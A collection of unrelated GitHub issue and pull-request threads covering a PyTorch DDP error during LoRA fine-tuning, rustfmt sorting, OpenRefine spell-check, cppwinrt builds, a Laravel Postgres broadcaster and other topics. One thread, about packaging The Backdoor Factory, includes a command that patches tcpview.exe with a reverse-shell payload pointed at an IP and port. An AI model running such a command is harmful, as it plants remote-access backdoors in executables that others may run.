| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            On   | 00000000:00:09.0 Off |                    0 |
| N/A   43C    P8    15W /  70W |      2MiB / 15360MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

`Expected to mark a variable ready only once. This error is caused by one of the following reasons:

Use of a module parameter outside the forward function. Please make sure model parameters are not shared across multiple concurrent forward-backward passes. or try to use _set_static_graph() as a workaround if this module graph does not change during training loop.

Reused parameters in multiple reentrant backward passes. For example, if you use multiple checkpoint functions to wrap the same part of your model, it would result in the same set of parameters been used by different reentrant backward passes multiple times, and hence marking a variable ready multiple times. DDP does not support such use cases in default. You can try to use _set_static_graph() as a workaround if your module graph does not change over iterations.

Parameter at index 127 has been marked as ready twice. This means that multiple autograd engine hooks have fired for this particular parameter during this iteration. You can set the environment variable TORCH_DISTRIBUTED_DEBUG to either INFO or DETAIL to print parameter names for further debugging.`
Your code is either having issues when running ddp (distributed data parallelization), or you have multiple forward/backward passes in your model object (unlikely, if you're just running the base finetune script).
I'm guessing it's more likely that you have multiple GPU's, in which case I'd suggest running the script using torchrun instead.
ex
WORLD_SIZE=2 CUDA_VISIBLE_DEVICES=0,1 torchrun --nproc_per_node=2 --master_port=1234 finetune.py
for two GPU's

only one gpu，here is command i used
WANDB_MODE=disabled nohup torchrun finetune.py --base_model='decapoda-research/llama-7b-hf' --num_epochs=1 --cutoff_len=512 --output_dir='./alpaca_data_cleaned_archive' --micro_batch_size=2 --data_path './alpaca_data_cleaned_archive.json' --val_set_size 200 --train_on_inputs True 2>&1 > alpaca_data_cleaned_archive.log &

WANDB_MODE=disabled CUDA_VISIBLE_DEVICES=0 nohup python finetune.py --base_model='decapoda-research/llama-7b-hf' --num_epochs=1 --cutoff_len=512 --output_dir='./alpaca_data_cleaned_archive' --micro_batch_size=2 --data_path='./alpaca_data_cleaned_archive.json' --val_set_size=200 --train_on_inputs=True 2>&1 > alpaca_data_cleaned_archive.log &

this command works!
WANDB_MODE=disabled CUDA_VISIBLE_DEVICES=0 nohup python finetune.py --base_model='decapoda-research/llama-7b-hf' --num_epochs=1 --cutoff_len=512 --output_dir='./alpaca_data_cleaned_archive' --micro_batch_size=2 --data_path='./alpaca_data_cleaned_archive.json' --val_set_size=200 --train_on_inputs=True 2>&1 > alpaca_data_cleaned_archive.log &

Interesting, so you only had one GPU, but the command for forcing your system to only see one GPU was what worked. Good to know

Hi,
I met the same problem when fine-tuning llama on multiple GPUs. And I used TORCH_DISTRIBUTED_DEBUG=DETAIL to debug, and it returned the following result:
Parameter at index 127 with name base_model.model.model.layers.31.self_attn.v_proj.lora_B.default.weight has been marked as ready twice.

So It seems Lora target modules are ready twice, but I don't know how to fix it.
Extra information: If I used one GPU, everything would be ok. If I took full-params fine-tuning, everything would be ok. So I guess this may be a bug.

Are you using multiple DDP methods?
That could be one reason why a Module might be getting instantiated twice.

Are you using multiple DDP methods?
That could be one reason why a Module might be getting instantiated twice.

I use Accelerate to perform DDP with the command accelerate launch *.py. I don't know whether I use multiple DDP. So how to make sure of it?

If you're using the default repo, there might be some ddp code in there. You'd have to play around, it's been a few months on my end

Actually I only use your code to set Lora for llama, and I didn't add any ddp code.

I fixed my problem by setting --ddp_find_unused_parameters=False.

I fixed my problem by setting --ddp_find_unused_parameters=False.

This really helps, thanks!!

@TomasAndersonFang this fixed the issue I was having as well. Thank you!!


Back button of browser does not work

When clicking the previous page button of the browser, the link at the top changes, but the content does not.

Fixed now.


Alert users of misplaced tags in multi-output recipes

In the context of multi-output recipes, placing sections at the wrong level leads to issues difficult to debug.
Especially, it happens that tags are used in the global build section instead of the build section of the output.
To make things more complicated, the script tag is an exception. When used on the output level, it has to be set at the same level as build instead of under build.
Ideally, we would follow a recipe schema.
We could check with conda if such a schema is available, and if not implement one based on conda-build source code.

Tracking: https://anaconda.atlassian.net/browse/PAT-174


fix regression in displaying assertion errors

Fixes the issues mentioned in #335
Seems to be some regression in how the different elements interact with each other. This is a quick fix to solve the regression, but we need to properly fix the error handling.

@djtarazona can you have a look at this and bump a new patch version?


Adjustments for singularity

These are the changes I made to make this gear work with singularity.
You'll obviously want to adjust/revert the changes made to manifest.json
This gear ran to completion on our HPC with the following config...
{
  "parallel": false,
  "n_cpus": 4,
  "reconall_options": "-all -qcache",
  "gear-gtmseg": true,
  "gear-hypothalamic_subunits": true,
  "gear-hippocampal_subfields": true,
  "gear-brainstem_structures": true,
  "gear-thalamic_nuclei": true,
  "gear-register_surfaces": true,
  "gear-convert_surfaces": true,
  "gear-convert_volumes": true,
  "gear-convert_stats": true,
  "gear-log-level": "DEBUG",
  "gear-dry-run": false,
  "gear-postprocessing-only": false
}

So should have flexed all the run paths/executables. I did not attempt to use your testing suite but I suspect this will behave the same as the one on main
I don't see an option to allow maintainers to edit my PR so I guess let me know if you want me to make any changes etc.

Thanks, Luke!


[BUG] Debug CVP test failures in CI

This is a debugging PR investigating the failures of the CVP tests only in CI on 3.12

Fixed in #2482 . We thank this branch for its services.


2.12.4 release?

Any chance we could get a 2.12.4 release for paradise?

Sure thing, I just published M10 (same as previous version) for 2.12.4


Any guidance on reducing generation of same projection headers again and again?

Environment
cppwinrt NuGet package 2.0.200316.3
Visual Studio 2019 16.5.1
Windows 10 10.0.19041.207
Scenario
I'm doing research to determine if we can reduce the number of times the same projection headers get generated in a solution containing ~35 projects during a CI build pass (no previous Generated Files to rely upon).
Some thoughts:

Is there any documentation on CppWinRTUseHardlinksIfPossible? Sounds useful.
Can we override the projection header output path to, say, a common path, and share that solution wide? Do you foresee any issues there?
How does Microsoft handle this internally?

CppWinRTUseHardLinksIfPossible is simply used to control to UseHardlinksIfPossible property of any copy steps in the targets.
You can use the CppWinRTEnablePlatformProjection property to turn off the platform projection generation and use a dedicated project to generate those or manually run cppwinrt to generate the platform projection. You then simply need to add the output folder to every other project's include path.

How does Microsoft handle this internally?

Note that the cost is in recompiling the headers, not the fact that they are generated repeatedly. Generating the headers is very cheap. Compiling them repeatedly is very costly.
The only way I know of today is to use a shared PCH file. In the future, when C++ modules are working, we should be able to use that instead.

Great tips, thanks!

From: Kenny Kerr<EMAIL_ADDRESS>Sent: Thursday, April 30, 2020 1:22:22 PM
To: microsoft/cppwinrt<EMAIL_ADDRESS>Cc: Rafael Rivera<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [microsoft/cppwinrt] Any guidance on reducing generation of same projection headers again and again? (#605)
How does Microsoft handle this internally?
Note that the cost is in recompiling the headers, not the fact that they are generated repeatedly. Generating the headers is very cheap. Compiling them repeatedly is very costly.
The only way I know of today is to use a shared PCH file. In the future, when C++ modules are working, we should be able to use that instead.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/microsoft/cppwinrt/issues/605#issuecomment-622088868, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AADT77EM6UQMS6QGGAS5IN3RPHMX5ANCNFSM4MUBCEQA.


Java extractor: filter all unsupported options before yielding to the compiler [phab:D533]

Created by schroederc at 2015-10-01 21:33:16:

shahms commented inline (context lost during migration) at 2015-10-01 21:37:19:
Do Java arrays not support the range syntax?
for (Path dir : outputDirs) {
dir.toFile().mkdir();
}

schroederc wrote at 2015-10-01 21:41:23:
T[] -> List

schroederc commented inline (context lost during migration) at 2015-10-01 21:42:06:
They do.  Arrays don't have enough overhead for Java's taste, though, so I'll use a List instead.

shahms accepted this revision at 2015-10-01 21:42:38

schroederc closed via commit 766b415ed87f7d6a4ed4ebdf1dcd89361697ef4b at 2015-10-01 21:43:22


Allow Calling Slice on SeekableStreamReaders

I had to wrap the returned stream slice in a unique_ptr.
I'm a bit split about the addition here. What do others think?
MemoryStreamReader's Slice function is untested, so worth taking a closer look.
Thanks,
Brett

I tried implementing this again by removing the Slice function from the SeekableStreamReader interface.
Ran into a new problem though.
Error C2280 'FileSliceReader::FileSliceReader(const FileSliceReader &)': attempting to reference a deleted function OP2Utility c:\ . . . \op2utility\streams\filestreamreader.cpp 45
Likely caused because the FileSliceReader does not have a copy constructor defined due to the contained underlying std::ifstream.
I don't think we want to let FileSliceReaders or FileStreamReaders be created by copy construction. I think this means we must return it by some sort of reference, whether that is a raw pointer or some sort of smart pointer?
Maybe I'm missing something though.

The MemoryStreamReader's version of Slice hasn't been updated yet. Also, the comments on the FileStreamReader slice functions need to be applied to all the Slice functions. I didn't see any reason to update these until the error is fixed.
I made one version of Slice a const function. I had to use the private length variable in the associated streams to accomplish this. It makes the Slice function a bit more brittle than calling the public Length function directly. Not sure if the tradeoff is worth it as I'm not sure when you would be passing around a const stream. Maybe best to remove this.
-Brett

Actually, it's perfectly reasonable to commit broken code to a branch and request review, particularly for a hard problem like this. It's a convenient way to discuss a problem with code to demonstrate the problem.
It just happens that I was going through the emails in order, and that showed me the additions before the comment about how the additions were broken. I suppose if you'd commented first, and then pushed second, I probably would have seen them in order. Or maybe I just need to be more aware of the overall situation.

I'm leaning towards option 2. You're correct in that ifstream itself can't be copy constructed. Hence you'd need a FileSliceReader copy constructor that constructs a new ifstream, using the filename, rather than the old ifstream. This doesn't circumvent the lack of copy constructor on the ifstream per se, as it isn't being copied, rather a new object is being constructed with the same parameters as the old one.
As for deleting open files, Linux allows this, where the directory entry is removed, but the file contents are preserved on disk until the last file handle is closed. Hence a second open to an already opened file could potentially fail. I'm not worried about this, because I don't see us relying on this behaviour long term. Plus, the FileSliceReader already relies on this behavior as is.
Additionally, we just have to get the interface right at this point. The details of how it's implemented are subject to change. We could address this later on as an internal library change.
Finally, completing option 2 doesn't prevent us from later adding option 1 to the library as well. I don't think we need to, but we could. And yeah, the virtual interface would be somewhat limited in some respects, in that we'd have to choose between memory safety or covariance.

I went ahead and implemented the copy constructors. It is my first time writing one, but they are working.
I actually don't know how to remove the c-style void* cast in the MemoryStreamReader slice function. static_cast<void*> doesn't seem to work.
-Brett

I think this branch is completed and ready for merging.
-Brett


Feature request: alphabetic sorting of struct/enum fields

Whenever the order of a struct or enum would be completely irrelevant, I like to keep them in alphabetic order. However, this gets slightly annoying to maintain when adding new fields. Therefore I propose an optional automatic sorting attribute, think #[rustfmt::sort].
My first idea was to create a clippy lint for this, but having this done automatically would be the best.

On a related note, sorting the arms of a match based on the order in the enum declaration (alphabetical or not), would be quite handy.

@mwillsey you mean to reflect the enum's order on the match ? I don't think that is possible since we have only information coming from the AST

In addition to being able to sort fields, it would also be nice to be able to sort top-level items (Structs, Traits, etc.) in a file.

This would be nice!!

I would also like to see this for methods of a trait.

I hope this will be added someday. It will save the minutes spent sorting them manually.

:+1: for opt-in to apply this to all structs, enums, unions, and simple match statements on enums, except repr(C), enum Enum { Variant = # }, or #[rustfmt(skip)].

Another +1 here, I already naturally try to sort stuff alphabetically, so this would be a time saver and ensure consistency. I also +1 having it optionally available for top-level items as @jeremyBanks suggested.

fwiw jetbrains ides have a sort lines command (select fields, maybe with opt+up arrow idk for windows, double press shift, type sort lines, hit enter or assign a keybind to sort lines) not ideal but better than manual sorting

+1, I need this as I'm working with massive structs to accept an API's response!

The complexity is in, ‘Whenever the order of a struct or enum would be completely irrelevant’ ...

@sanmai-NL I don't think this is a real concern, as the OP suggests, this can be done via an opt-in attribute (#[rustfmt::sort]), in which case a user decides if the order matters or not.

You presuppose users would want to invest time in specifying such an attribute. And what about repr(C) structs?

You presuppose users would want to invest time in specifying such an attribute. And what about repr(C) structs?

Is it possible to have the opt-in attribute (#[rustfmt::sort]) for normal record structs only?

You presuppose users would want to invest time in specifying such an attribute.

Yes. I know I would use it in a few places. It would be too annoying as an opt-out (rustfmt shouldn't change semantics by default), but it seems just right as an opt-in.

And what about repr(C) structs?

What about them? If you added the #[rustfmt::sort] attribute to a repr(C) ADT, then you are responsible to making sure that the sorted order of fields/variants doesn't break any assumptions.

@WaffleLapkin not sure what design you intended, but fields should be sorted by default, and this will generally break repr(C) items. Opting out of it shouldn't require an extra attribute.

why not implement this as an opt-in rule and also a tag (since rustfmt doesnt support rules being enabled per scope like in clippy yet)? that way people can opt-in to the rule and opt-out for scopes they dont want with #[rustfmt::skip], or opt-in only for scopes they want with #[rustfmt::sorted]
for some libraries, such as api wrappers, not having an option to enable the feature globally would require us to add #[rustfmt::sorted] to nearly every struct


[Storage]: add az storage share list-handle and az storage share close-handle

Description

Add file handle operations to file share(file and directory). Match powershell commands Get-AzStorageFileHandle and Close-AzStorageFileHandle.
Testing Guide

To reproduce the prerequisite steps:

Create a file share under a storage account/ resource group
Upload file1 to the root dir of the file share, add a dir called dir1 and upload another file file2
Create a Python file to open both files and sleep so the file handles are held
Create two VMs and ssh to them
Mount the file share using the script in the connect tab and run the Python file

az storage share list-handle --account-name {account1} --name {share-name} --recursive
Should list all the file handles.
az storage share close-handle --account-name {account1} --name {share-name} --path 'dir1/file2' --close-all
This closes all the file handles on file2
az storage share list-handle --account-name {account1} --name {share-name} --path dir1 --recursive
Should list only list the file handles of file1. Can now record the handleId
az storage share close-handle --account-name {account1} --name {share-name} --path 'dir1/file2' --handle-id {handleId}
This closes one of the file handles on file1
az storage share list-handle --account-name {account1} --name {share-name} --path file1
Should list only the one files handle on file1.
History Notes

[Component Name 1] BREAKING CHANGE: az command a: Make some customer-facing breaking change.
[Component Name 2] az command b: Add some customer-facing feature.

This checklist is used to make sure that common guidelines for a pull request are followed.

[ ] The PR title and description has followed the guideline in Submitting Pull Requests.

[ ] I adhere to the Command Guidelines.

[ ] I adhere to the Error Handling Guidelines.

Storage


Document status changes required when GatewayClass "allowed" selectors are violated

What would you like to be added:
We don't currently define what should be done if a Gateway attempts to use a GatewayClass in a namespace not selected by AllowedGatewayNamespaces or when a Gateway selects a Route in a namespace not selected by AllowedRouteNamespaces. We should introduce new conditions for status and document how they should be used in response to these situations.
As an initial starting point, we could add a NamespaceForbiddenByGatewayClass that would indicate that a Gateway or Route was deployed in a forbidden namespace. Depending on how AllowedRouteNamespaces is used, there is a chance that this could result in this condition being true from the perspective of one Gateway and false from another, I'm not sure how to resolve that yet.
Why is this needed:
The behavior is currently unspecified but should be consistent among implementations.
/cc @lelenanam

/assign


Dictionary/spell check?

Proposed solution
An integrated spell-checker (OpenSource/free if possible) for cells.
Alternatives considered
Exporting all the data and then using a different, external program.
Additional context
This is similar to Clustering but rather for full text fields.

Hi @starsis, thanks for opening this issue!
I am wondering if you could expand a bit on the use case. OpenRefine is primarily designed for batch transformations, not manual editing of cells, so it is not clear what sorts of workflows you are thinking here. If this is about adding spell-checking to the cell editing dialog, that could be done with the browser's native spell-checker, without us needing to ship anything special.
Also I would be interested to understand better how this would relate to clustering.

@wetneb: So when there is a large list of data, e.g. products which all got lengthy description texts, automatic spell check would be great. This is also somehow related to clustering: As words should be spelled consistently, the means to merge similar words with their proper spelling, very similar to clustering of facets, would be very useful.

So when there is a large list of data, e.g. products which all got lengthy description texts, automatic spell check would be great

This is still very vague to me. Can you describe in more detail how you would use this feature?

For example: The production description may domain-specific words, e.g. "Jacquard" (fabric/cloth type). And there are different variations of misspellings, like "Jaquard" and "jaquard", "jacquard" or even "jquard". The similarity-feature of the clustering feature would be very helpful. It can find all these occurences in full text itself (using the words as facets, but this may not be enough as the words could also have spaces missing, e.g. "wordJaquard"), allowing a fast and efficient correction of all these spelling mistakes.

Ok I think I can roughly see your request, I would rephrase it like this: implement a variant of the clustering feature, which works at the word (or phrase) level instead of whole cell-level value. If we go for word-level that would roughly amount to splitting cell values by whitespace, clustering them, and then joining them back again. Would that workaround work for you?

@wetneb: Hm, this could be a makeshift solution. Though grammar and syntax (comma, point) and sentence parts wouldn't be taken into account.

For me "spellcheck" and "word clustering" seem distinct tasks.
Spellcheck suggests checking words against some existing dictionary, identifying words that do not exist in the dictionary and then either correcting the word, ignoring the word or adding the word to the dictionary so future occurrences of the word are accepted as correct. Spell checking is obviously language dependent - you need dictionaries for different languages.
Word clustering seems to be about saying "for this body of text, are there words that are similar enough that the same original word might have been meant"?
Spellcheck seems like it might be do-able but I feel like it's on the edge of the intended functionality of OpenRefine. My first thought is that an Extension might be the best approach to adding this type of functionality.
Word clustering seems like it could be very hard. Generally, the shorter the strings you are trying cluster, the more likely it is you'll see false positives in clustering, and as we increase the number of strings to be compared the number of comparisons that need to be made for nearest neighbour clustering increases at a higher rate - which makes it a difficult problem from a technical perspective.
Finally, based on the example given by @strarsis above

The production description may domain-specific words, e.g. "Jacquard" (fabric/cloth type)

It seems that there could be an overlap with Named Entity Recognition rather than spelling - perhaps part of the question here is whether the aim is to identify the occurrence of an entity, or just correct some spelling? I'm still a bit unclear on whether the point here is about "correcting" text or if it's about finding the occurrence of particular words in bodies of text where we know that the words might be mis-spelt or otherwise garbled. "Correcting" spelling is a different problem to "finding words which might be X" I think.
For me an example data set with an example of how you'd hope to manipulate in OpenRefine and what the desired output would be really helpful in understanding what's required here

I think an extension, similar to the Named Entity Recognition extension, is the right place for this. It's definitely natural language specific.
The functionality still needs more specification though. Some possible modes of operation for a GREL function:

return a list of words that are (potentially) misspelled in the input text
return the input text with all misspellings corrected (above a certain user specified confidence threshold?)
return a list of alternative suggestions for a misspellings in the input text (this would require some type of structured output)

Users would probably want control over a user dictionary in addition to the system supplied dictionary.
If this isn't a GREL function, but an interactive UI facility, it could be a lot more graphical and interactive with the user, but it would also be pretty far outside the current interaction model.

That feature would be very useful!

"That feature" being what? We've discussed a number of different things and none of them are very well specified.

If this is too tangential to the intended featureset of OpenRefine, are there tools that implement this kind of functionality?

There is a Named Entity Recognition extension for OpenRefine, which I'm pretty sure is listed on our website, although I don't know if it's currently being maintained. You can also do this using the "Fetch URL" operation to ping a RESTful API.

@tfmorris: Apparently it isn't maintained anymore (archived). But it could still work. And now I also know how this feature is called.

Github is a distributed ecosystem, so even if the original project is no longer being maintained, one can often find another fork which has activity. You can visualize the network of forks here: https://github.com/RubenVerborgh/Refine-NER-Extension/network It looks like this fork received updates as recently as January: https://github.com/stkenny/Refine-NER-Extension

@tfmorris: Thanks! Does the detection require a language-specific dictionary/model?

Named Entity Recognition is both natural language specific and, to some extent, domain specific. That OpenRefine NER extension uses the Stanford CoreNLP software which has models for these languages: https://stanfordnlp.github.io/CoreNLP/human-languages.html

@tfmorris: This is awesome! Thanks!

If that addresses the problem perhaps we could close this issue?

@wetneb: Yes!

I've had a similar request on my mind.
Problem
The problem I have is that I have columns that contain long strings of text (e.g. verbose catalogue descriptions in the form of multiple sentences). This data is created in Excel (often by people for whom English is a second language) and often contains spelling errors because Excel does not have a spell check function like Word.
Solution
A spell check and edit function which opens a new window similar to the cluster and edit function. Instead of clusters of similar cells being presented to the user, a list of unknown words will be presented to the users (i.e. a list of all words in the selected column, which are not found in a dictionary).
The user will then have the option to tick the words they want to change and to enter the replacement term into an empty field. When the user clicks "Confirm", OpenRefine will essentially apply the replace function to all of the the unknown words where the checkbox has been selected.
Current alternatives
I could do something similar outside of Open Refine using pyspellchecker. But it would be easier to have an extra cleaning function in OpenRefine while I'm cleaning the data in other ways. And this would be more accessible to people not familiar with Python.
Possible configuration features

Just as the cluster function uses different clustering methods, perhaps the spell check function could allow the user to select different dictionaries. Not least because different users will use different languages.
It would probably also be useful for different word boundary methods to be available for selection. e.g. \b\w*\b or value.split(' '). I'm sure there are others that would be even more useful. I imagine different users would want to define words in different ways.
Perhaps it might be useful for users to be able to establish their own dictionary or list of stop words.
It might be useful to include a filter within the spell check window (e.g. if the column contains English and Arabic descriptions, it might be helpful if the user could filter out any words that don't contain Latin characters.
I'm not sure if I would want the spell checker to suggest a replacement word, but maybe some use cases would benefit from this.
Case sensitivity is another consideration. To reduce the size of the list it might be useful to have words with the same spellings, but different cases, grouped as one word. But the replace feature would probably want to maintain the same case pattern. It might be a bit premature to think about this in detail, but it might be useful to have some degree of flexibility over case sensitivity for different use cases.
It would probably useful to apply this to more than one column at a time (to reduce duplication of effort if there is more than one column with text requiring spell checking.
I wonder whether it would also be useful to have the option to cluster similar unknown words, but maybe that is making things too complex. An example of where this would be useful would be in a column where the same word has being misspelled in different ways (e.g. "Administration" is misspelled as "Adminstration" and "Administraton")

Here is a very rough mock up based on the cluster and edit template.

@grahamjevon: I found a quite primitive but efficient approach:
Export to Excel-compatible format, open in Excel (or OpenOffice Calc), run the spell-checker.
It also allows adding to dictionary and changing all occurrences. It works quite well.
After correction the excel can be imported back into OpenRefine for further clustering.


Fix typo

Make sure that:

[x] You have read the contribution guidelines.
[ ] You have created a feature request first to discuss your contribution intent. Please reference the feature request ticket number in the pull request.
Not applicable.
[x] You use the code formatters provided here and have them applied to your changes. Don't submit any formatting related changes.
[ ] You submit test cases (unit or integration tests) that back your changes.
Not applicable.

Issue description

The logging message is contains the typo:

Option{name='readOnly', sensitive=false} + isn't supported in H2 at the transaction level. You must set it on conenction URL. See http://www.h2database.com/html/features.html#read_only

Thank you for your contribution. That's merged now.


Empty popup when I hover over the image

Once in a while, there is an empty popup when I try to hover over the thumbnail. Image attached

Tried to repro this but found another bug which @abhishekpratapa says is related to this so adding a screenshot and a video here.

trimmed-square-diamond.zip

@shantanuchhabra Does this still repro?

Yes.


Fix #10 -- support day ranges

Creative solution idea: Maybe test for the negative and then raise the exception. So if there's a digit, raise. Otherwise, just pass the value.

Good idea.
The only thing - this way we are not checking for weekdays anymore, but I guess it will fail on the apschedulers cron anyway, it is not the job of the library to check for this.


More bangs

Up to 30% faster:
All
  Comparison
    1000000
      insert
        vector-hashtables boxed:        OK
          37.9 ms ± 975 μs,       same as baseline
        vector-hashtables unboxed keys: OK
          26.0 ms ± 243 μs,       same as baseline
        vector-hashtables:              OK
          6.42 ms ± 121 μs, 26% less than baseline
      insert (resize)
        vector-hashtables boxed:        OK
          52.8 ms ± 849 μs,  3% less than baseline
        vector-hashtables unboxed keys: OK
          35.4 ms ± 657 μs,  4% less than baseline
        vector-hashtables:              OK
          11.2 ms ± 226 μs, 17% less than baseline
      insert, delete
        vector-hashtables:              OK
          10.6 ms ± 245 μs, 31% less than baseline
      find
        vector-hashtables:              OK
          4.40 ms ± 152 μs, 27% less than baseline
        vector-hashtables (frozen):     OK
          1.95 ns ±  56 ps,       same as baseline
      lookupIndex
        vector-hashtables:              OK
          2.73 ms ±  53 μs, 32% less than baseline
      fromList
        vector-hashtables:              OK
          16.4 ms ± 334 μs, 24% less than baseline
      toList
        vector-hashtables:              OK
          54.2 ms ± 2.0 ms,       same as baseline

Maybe you could update the table in README? It should be easy.

Maybe you could update the table in README? It should be easy.

I can give it a go, but bear in mind that I'm on aarch64. It might be more representative for the majority of audience if numbers are generated on x86_64, I guess.

Good point. Let's hope we do it in the future then.

Let's wait a few days on this one to see if others are interested in chiming in. This is a core data structure change, so  I'd love to see more opinions on what could go wrong.

Initially, while writing helpers and benchmark, I forgot to add strictness to one of operators.
Good catch, thanks!


Upgrades version of patchelf to 0.18.0

They're no longer using the releases.nixos.org endpoint.
Personally, this won't build on my laptop without this patch, but I'm not sure that applies for others.

The tests are failing because agent-bundle/jre/bin/java seg faults with this version.

@hughesjj few of the tests are failing, may be rebase and see if that alleviates the issues


Fix to check for empty criteria

Code changes to check for both null and empty criteria before proceeding to where clause generation, so we dont fail with IllegalArgumentException
https://github.com/spring-projects/spring-data-relational/issues/1329

[x] You have read the Spring Data contribution guidelines.
[x] You use the code formatters provided here and have them applied to your changes. Don’t submit any formatting related changes.
[x] You submit test cases (unit or integration tests) that back your changes.
[x] You added yourself as author in the headers of the classes you touched. Amend the date range in the Apache license header if needed. For new types, add the license header (copy from another file and set the current year only).

Thanks. That's polished and merged.


add support for OS integration and pybuild.

Hello!
Here is a patch i propose to help the integration of tbf in the os instead of using it directly from its source dir.
It contains a setup.py script to support pybuild-based install and add a bdfactory python package for clean integration in python dist-packages.
This patch has been made while porting the packaging from Kali to Debian.

Thanks for the pull request, this breaks BDFProxy (https://github.com/secretsquirrel/BDFProxy) see bdf directory.

I've just started to take a look at it. I'll look for a way to make them work together and propose a pull request if you're ok with the principle.

Cool, thanks.

started bdfproxy packaging. Make it installeable in /usr/bin with its config in /etc/bdfproxy and started to make it work with bdf installed system-wide too.
I'm trying to make bdfproxy work with mitmproxy 0.18 (instead of 0.17) as it is the standard version in Debian testing & sid. Kali folks have specified in the kali package that it doesn't support mitmproxy higher than 0.17.

👍

During QA checks I noticed that not all files are being pulled into the pypi directory:
➜  /tmp backdoor.py -f tcpview.exe -s reverse_shell_tcp_inline -P 8080 -H <IP_ADDRESS> -m onionduke -b tcpview.exe
    ____  ____  ______           __
   / __ )/ __ \/ ____/___ ______/ /_____  _______  __
  / __  / / / / /_  / __ `/ ___/ __/ __ \/ ___/ / / /
 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /
/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /
                                            /____/

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory

         Version:   3.4.2

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[!] Attempting OnionDuke patching
Traceback (most recent call last):
  File "/usr/local/bin/backdoor.py", line 62, in <module>
    class bdfMain():
  File "/usr/local/bin/backdoor.py", line 610, in bdfMain
    result = supported_file.run_this()
  File "/usr/local/lib/python2.7/site-packages/bdfactory/pebin.py", line 168, in run_this
    return self.patch_pe()
  File "/usr/local/lib/python2.7/site-packages/bdfactory/pebin.py", line 1721, in patch_pe
    result = self.onionduke()
  File "/usr/local/lib/python2.7/site-packages/bdfactory/pebin.py", line 1525, in onionduke
    od_stub.write(open(stubPath + "/OD_stub.exe", 'r').read())
IOError: [Errno 2] No such file or directory: '/usr/local/lib/python2.7/site-packages/bdfactory/onionduke/OD_stub.exe'
➜  /tmp

All these directories need to be installed in the correct path to be used for the different command line options:
➜  the-backdoor-factory git:(python_install) ✗ tree -L 1 -d
.
├── aPLib
├── arm
├── asm
├── build
├── certs
├── intel
├── onionduke
├── osslsigncode
├── preprocessor
└── winapi

Thanks!

For OD_Stub.exe this is a "normal" error in the case of Debian as this is a binary-without-sources file that i can't add in the Debian package due to the Debian policy. Same for appack due to the license.
In the Debian package of backdoor-factory, there is a patch that avoid python error and exit properly, but support the case where the executable is installed by the user.
Nevertheless i'll check if i've forgotten any other files

Ok. I'm not going to accept any pull requests that limits my repo to support only one distro.

Le 2 juillet 2017 23:15:46 GMT+02:00, Josh Pitts<EMAIL_ADDRESS>a écrit :

Ok. I'm not going to accept any pull requests that limits my repo to
support only one distro.
--
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub:
https://github.com/secretsquirrel/the-backdoor-factory/pull/81#issuecomment-312517423

You're right, this part should not be imported upstream. It's Debian specific. The install part (python package name,  pybuild support) is not filtering anything. You tested with the package ? The PR should not filter, only the package do this.
O       Philippe Thierry.
/Y/   GPG: 7010 9a3c e210 763e 6341 4581 c257 b91b cdaf c1ea
o#o   (sent from my smartphone)


Interest in a postgres broadcast driver?

Hey,
For a while now I've been thinking about using NOTIFY / LISTEN to broadcast events in Laravel, Redis is awesome and all but I'd much rather rely on postgres for as long as I can.
Laravel comes with database support for cache, queue and sessions, yet the broadcasting part of it is understandably not supported when it comes to databases.
Just now I've gotten a basic version of broadcasting to work, using NOTIFY and LISTEN. It doesn't yet respect the 8000 bytes limit but that could be added.
Would having a broadcast postgres driver be something that's in the scope of this project? If so, I would love to share the code.

Do you have a working implementation? I always believed this won't work with PHP because of race conditions when the code is currently not executing LISTEN. And the PDO driver can't watch for results in the background? Or does it do this?

Yeah it works though I wouldn't know of any race conditions.
I just have a broadcast driver that calls pg_notify and after that I use socket.io on the node side of things to listen to events on those channels. Is that something that matches your ideas or no?

Anyway, here's my code. My understanding of LISTEN and NOTIFY is very basic, I know of the size limit I mentioned earlier, but that's about it. The php side of this is based on what I found here https://github.com/adaojunior/laravel-postgres-broadcast-driver, I just added more recent code.
<?php

namespace App\Providers;

use Illuminate\Broadcasting\Broadcasters\Broadcaster as BroadcastersBroadcaster;
use Illuminate\Broadcasting\Broadcasters\UsePusherChannelConventions;
use Illuminate\Database\PostgresConnection;
use Illuminate\Support\Arr;
use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;

class PostgresBroadcaster extends BroadcastersBroadcaster
{
    use UsePusherChannelConventions;

    /**
     * @var \Illuminate\Database\PostgresConnection
     */
    private $connection;

    public function __construct(PostgresConnection $connection)
    {
        $this->connection = $connection;
    }

    /**
     * Authenticate the incoming request for a given channel.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return mixed
     *
     * @throws \Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException
     */
    public function auth($request)
    {
        $channelName = $this->normalizeChannelName($request->channel_name);

        if (
            empty($request->channel_name) ||
            ($this->isGuardedChannel($request->channel_name) &&
                ! $this->retrieveUser($request, $channelName))
        ) {
            throw new AccessDeniedHttpException;
        }

        return parent::verifyUserCanAccessChannel(
            $request,
            $channelName
        );
    }

    /**
     * Return the valid authentication response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  mixed  $result
     * @return mixed
     */
    public function validAuthenticationResponse($request, $result)
    {
        if (is_bool($result)) {
            return json_encode($result);
        }

        $channelName = $this->normalizeChannelName($request->channel_name);

        $user = $this->retrieveUser($request, $channelName);

        $broadcastIdentifier = method_exists($user, 'getAuthIdentifierForBroadcasting')
